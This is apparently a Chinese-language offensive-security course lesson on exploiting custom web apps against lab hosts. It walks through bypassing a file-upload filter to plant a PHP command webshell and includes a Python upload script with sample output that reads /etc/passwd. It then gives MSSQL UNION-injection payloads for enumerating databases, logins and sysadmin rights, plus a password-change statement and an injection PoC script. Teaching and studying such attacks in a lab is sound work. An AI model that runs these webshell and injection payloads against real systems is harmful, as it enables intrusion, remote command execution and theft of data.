Skip to main content

利用常见web漏洞

利用常见web漏洞

虽然说利用Web漏洞不是唯一突破边界的方式,但绝对是重要途径之一。在上一篇,我们说了如何利用漏洞的公开 exp 突破企业边界,但每个企业往往都有自己独自开发的Web应用,且不开源,那么对于这种独自开发、高度自定义的 web 应用,我们就不能依赖于公开 exp 了,而是需要通过手动与自动相结合的方式找出app的漏洞并加以利用。需要注意的是,该篇侧重于从黑盒的角度去寻找以及利用漏洞,因为下一篇会从白盒的角度去发掘漏洞。

我们固然可以通过自动化扫描器辅助我们寻找漏洞,但需要注意的是,使用扫描器是很不隐蔽的做法,而且依赖于扫描器会阻碍我们手动寻找漏洞。需要区别于 web 渗透测试,尽管一些web漏洞依旧可能对我们有一定作用,例如信息泄漏、详细的报错信息等,但如果要突破边界,我们可能需要依赖于一些危险程度更高的漏洞,例如远程代码执行 RCE 、系统命令注入、SQL 注入等。尽管我们不能依赖于公开exp,但这不代表我们不可以参考公开 exp 中的载荷。例如在 SQL Server 数据库的SQL注入中,通过什么样的载荷可以开启 xp_cmdshell再执行系统命令,是可以参考同类型的公开 exp 或者cheatsheet的。

不安全的文件上传

我们来访问 https://raven-medicine.org 搭建在 Apache 2.4.41 服务器上的 Web 应用。该应用是企业的对外站点,因此是企业内部开发的。手动浏览一下该站点,我们发现该站点内容还是比较简约的,在众多页面中,我们发现 job-detail.html 看起来有望存在漏洞,因为这里有一个上传点。根据上下文,这个上传点是用于上传简历的,因此有 2 种可能的攻击途径

1:上传一份恶意文档,如果当 HR 手动点开该恶意文档,我们可以执行在客户端的代码。

2:上传 webshell,通过访问 webshell 获得代码执行。

image.png

考虑到恶意文档攻击需要等待用户交互,因此我们先尝试上传 Webshell。我们选择了一个 PHP 的后门 webshell。

image.png

可是,应用报错提示 .php 文件拓展名不被允许,也就是说该应用有着文件扩展名的白名单或者黑名单。

image.png

根据 HackTricks (https://book.hacktricks.xyz/pentesting-web/file-upload) 中的绕过技巧,我们先从简单的做起,尝试使用 .phtlm 来绕过,这次成功了。

image.png

image.png

image.png

接下来,我们需要能访问到我们上传的 webshell。这时候,可以选择枚举目录,但在那之前,不妨猜测一下可能存放我们 webshell 的位置,我们但愿上传的 webshell 没有被更名,因此猜测最终位置为 /upload/backdoor.phtml,实际上也确实如此。

image.png

在刚才,我们用浏览器交互的形式上传了 Webshell 并且执行了代码,现在,让我们用 Python (或者任何你喜欢的语言) 脚本实现一键自动化。该脚本接受 2 个参数,域名以及要执行的命令。rce 函数的实现作为作业请学员完成。

#!/usr/bin/env python
import requests
import sys


def upload(ip):
        upload=ip+"/resume.php"
        print(upload)
        payload="<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"
        files={'resume':('cmd.phtml',payload)}
        headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.','Referer':'http://'+ip+'/job-detail.html'}
        r=requests.post(upload,headers=headers,files=files))

def rce(ip,cmd):
        ******填写此段代码*****
        print("Output of the Command Execution:")
        print(res)


if len(sys.argv)!=3:
        print("Usage: python3 raven.py http://raven-medicine.org whoami")
ip=sys.argv[1]
url=ip+"/job-detail.html"
command=sys.argv[2]
upload(ip)
rce(ip,command)

预期的输出:

image.png

└─# python3 raven.py http://raven-medicine.org 'cat /etc/passwd'
http://raven-medicine.org/resume.php
Output of the Command Execution:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
web01:x:1000:1000:web01,,,:/home/web01:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
ansible:x:1001:1001:,,,:/home/ansible:/bin/bash
mysql:x:128:134:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:129:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
postgres:x:130:136:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mongodb:x:131:65534::/home/mongodb:/usr/sbin/nologin


SQL 注入

http://white-bird.org:8000 运行着一个 .NET 应用,我们可以根据药名、品牌、或价格来搜索特定药品的数据信息。直觉告诉我们,这里可能存在 SQL 注入漏洞。

image.png

image.png

我们用一个单引号就确认了 SQL 注入漏洞的存在

image.png

该应用是 .Net 应用,往往与 MSSQL 数据库共同运转。根据我们的模糊搜索,推断出后端的 SQL 语句为: 

select * from course where coursename like %txtCourse or author like %txtAuthor or price <=txtPrice

如果你们还不是特别熟悉 MSSQL 的常用语句,那么可以参考以下的简易 cheatsheet

枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;

那么对应的,SQL 注入的语句则是

当前用户: pain ' union select system_user,2,3;--

image.png

所用数据库: pain ' union select name,2,3 from master..sysdatabases;--

image.png

所有登录或者用户: pain ' union select name,2,3 from master..syslogins;--

image.png

Medicine 数据库中的所有表: pain ' union select table_name,2,3 from medicine.information_schema.tables;--

image.png

表 Medicine 中的所有列: pain ' union select name,2,3 from syscolumns where id =(select id from sysobjects where name ='medicine');--

image.png

当前用户或登录是否是 sysadmin: pain ' union select is_srvrolemember('sysadmin'),2,3;--

image.png

经过以上的信息枚举,我们发现当前登录并不是 sysadmin,因此我们不能开启 xp_cmdshell 来执行远程代码。

不管怎么样,让我们写一个脚本来模拟刚才的交互:

import requests
import sys
import re
from bs4 import BeautifulSoup


def sqli_poc(ip):
	target=ip+"/"
	s=requests.Session()
	r=s.get(ip)
	bs=BeautifulSoup(r.text)
	viewstate=bs.find("input", {"id": "__VIEWSTATE"}).attrs['value']
	generator=bs.find("input", {"id": "__VIEWSTATEGENERATOR"}).attrs['value']
	validation=bs.find("input", {"id": "__EVENTVALIDATION"}).attrs['value']
	body = {
    "__EVENTTARGET": "",
    "__EVENTARGUMENT": "",
    "__VIEWSTATE": viewstate,
    "__VIEWSTATEGENERATOR": generator,
    "__EVENTVALIDATION": validation,
    "ctl00$MainContent$txtMedicine": "\'",
    "ctl00$MainContent$txtBrand": "",
    "ctl00$MainContent$txtPrice": "",
    "ctl00$MainContent$btnSearch":"Search",
    "ctl00$MainContent$txtupMedicine": "",
    "ctl00$MainContent$txtupBrand": "",
    "ctl00$MainContent$txtupPrice": "",
}	
	files={'ctl00$MainContent$fuContent':('','')}
	headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.','Referer':target}
	r2=s.post(target,headers=headers,data=body,files=files)
	if 'Query Error' in r2.text:
		print("SQL Injection Vulnerability Found!")
	
def sqli_exec():
	*****完成该函数*****

    
if len(sys.argv)!=3:
	print("Usage: python3 raven.py http://white-bird.org:8080 'select system_user'")
ip=sys.argv[1]
query=sys.argv[2]
sqli_poc(ip)
sqli_exec(ip)

请完成 sqli_exec 函数,使得该函数可以执行用户提供的 SQL 语句。